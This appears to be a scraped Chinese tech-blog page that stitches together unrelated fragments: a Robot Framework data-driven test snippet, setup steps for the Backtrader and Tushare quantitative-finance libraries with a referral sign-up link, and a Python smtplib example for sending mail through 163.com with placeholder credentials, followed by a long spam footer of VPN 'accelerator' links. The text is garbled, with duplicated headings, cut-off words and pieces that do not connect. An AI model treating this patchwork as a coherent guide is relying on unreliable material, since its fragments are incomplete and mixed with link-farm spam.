Library SeleniumLibrary
Resource common.robot

*** Test Cases ***
网易邮箱
[Template] 登录网易邮箱
用户名1 密码1
用户名2 密码2
sleep 10
log 账号密码输入正确 登录成功

此时 sleep和 log都不被当成关键字了,而是当成是参数传递,因为 log一行相当于有3个参数,所以会产生报错

RF中的数据驱动没有python中来的方便,RF中没有关键字去读取excel中的数据,如果要在RF中使用比较复杂的数据驱动功能,还是推荐写成python模块,然后再进行引用

金融量化分析基础环境搭建

金融量化分析基础环境搭建

金融量化分析基础环境搭建
*步:Python安装
anaconda官网下载
下载地址
https://www.anaconda.com/distribution/
注意选用该电脑相应的系统和64/32位。

已安装Python使用环境的请跳过此步骤。

第二步:Backtrader安装
Backtrader功能十分完善,有完整的使用文档,安装相对简单(直接pip安装即可)。优点是运行速度快,内置了talib股票分析技术指标库;支持多品种、多策略、多周期的回测和交易;扩展灵活,可以集成TensorFlow、PyTorch和Keras等机器学习、神经网络分析模块。

backtrader官方文档:

https://www.backtrader.com/docu/

安装方法:

pip install backtrader

第三步:Tushare安装
Tushare是一个免费、开源的python财经数据接口包。主要实现对股票等金融数据从数据采集、清洗加工 到 数据存储的过程,能够为金融分析人员提供快速、整洁、和多样的便于分析的数据。

Tushare*新版数据更加稳定,需注册后获取token使用,注册地址:https://tushare.pro/register?reg=434267 (请尽量使用该链接)

注册完成后,点击个人头像,会在如下图所示的位置找到token。

%title插图%num

安装方法:

pip install tushare

基本使用方式:

import tushare as ts
ts.set_token(‘上图中的token’)
pro = ts.pro_api()

#1、日线
df = pro.daily(ts_code=’000001.SZ’, start_date=’20180701′, end_date=’20180718′)
print(df)
7

ython 中发送邮件

ython 中发送邮件

Python 中使用163发送邮件
链接: 163邮箱
从图片中可以看到,我们能获取到邮箱授权码
图片:

%title插图%num
# coding:utf-8 #强制使用utf-8编码格式
import smtplib # 加载smtplib模块
from email.mime.text import MIMEText
from email.utils import formataddr

my_sender = ‘xxxn@163.com’ # 发件人邮箱账号,为了后面易于维护,所以写成了变量
my_user = ‘xxx@qq.com’ # 收件人邮箱账号,为了后面易于维护,所以写成了变量

def email():
ret = True
try:
# 三个参数:*个为文本内容,第二个 plain 设置文本格式,第三个 utf-8 设置编码
msg = MIMEText(‘<h1><a href=”http://www.baidu.com”>这是一个链接</a></h1>’, ‘html’, ‘utf-8’)
msg[‘From’] = formataddr([“xxx”, my_sender]) # 括号里的对应发件人邮箱昵称、发件人邮箱账号
msg[‘To’] = formataddr([“xxx”, my_user]) # 括号里的对应收件人邮箱昵称、收件人邮箱账号
msg[‘Subject’] = “一个邮件” # 邮件的主题,也可以说是标题

server = smtplib.SMTP(“smtp.163.com”, 25) # 发件人邮箱中的SMTP服务器,端口是25
server.login(my_sender, “xxx”) # 括号中对应的是发件人邮箱账号、邮箱授权码
# 可以一次给多人发送邮件
server.sendmail(my_sender, [my_user, ‘xxx@qq.com’], msg.as_string()) # 括号中对应的是发件人邮箱账号、收件人邮箱账号、发送邮件
server.quit() # 这句是关闭连接的意思
except Exception: # 如果try中的语句没有执行,则会执行下面的ret=False
ret = False
return ret

if __name__ == ‘__main__’:
ret = email()
if ret:
print(“邮件发送成功”) # 如果发送成功则会返回ok,稍等20秒左右就可以收到邮件
else:
print(“邮件发送失败”) # 如果发送失败则会返回filed

友情链接: SITEMAP | 旋风加速器官网 | 旋风软件中心 | textarea | 黑洞加速器 | jiaohess | 老王加速器 | 烧饼哥加速器 | 小蓝鸟 | tiktok加速器 | 旋风加速度器 | 旋风加速 | quickq加速器 | 飞驰加速器 | 飞鸟加速器 | 狗急加速器 | hammer加速器 | trafficace | 原子加速器 | 葫芦加速器 | 麦旋风 | 油管加速器 | anycastly | INS加速器 | INS加速器免费版 | 免费vqn加速外网 | 旋风加速器 | 快橙加速器 | 啊哈加速器 | 迷雾通 | 优途加速器 | 海外播 | 坚果加速器 | 海外vqn加速 | 蘑菇加速器 | 毛豆加速器 | 接码平台 | 接码S | 西柚加速器 | 快柠檬加速器 | 黑洞加速 | falemon | 快橙加速器 | anycast加速器 | ibaidu | moneytreeblog | 坚果加速器 | 派币加速器 | 飞鸟加速器 | 毛豆APP | PIKPAK | 安卓vqn免费 | 一元机场加速器 | 一元机场 | 老王加速器 | 黑洞加速器 | 白石山 | 小牛加速器 | 黑洞加速 | 迷雾通官网 | 迷雾通 | 迷雾通加速器 | 十大免费加速神器 | 猎豹加速器 | 蚂蚁加速器 | 坚果加速器 | 黑洞加速 | 银河加速器 | 猎豹加速器 | 海鸥加速器 | 芒果加速器 | 小牛加速器 | 极光加速器 | 黑洞加速 | movabletype中文网 | 猎豹加速器官网 | 烧饼哥加速器官网 | 旋风加速器度器 | 哔咔漫画 | PicACG | 雷霆加速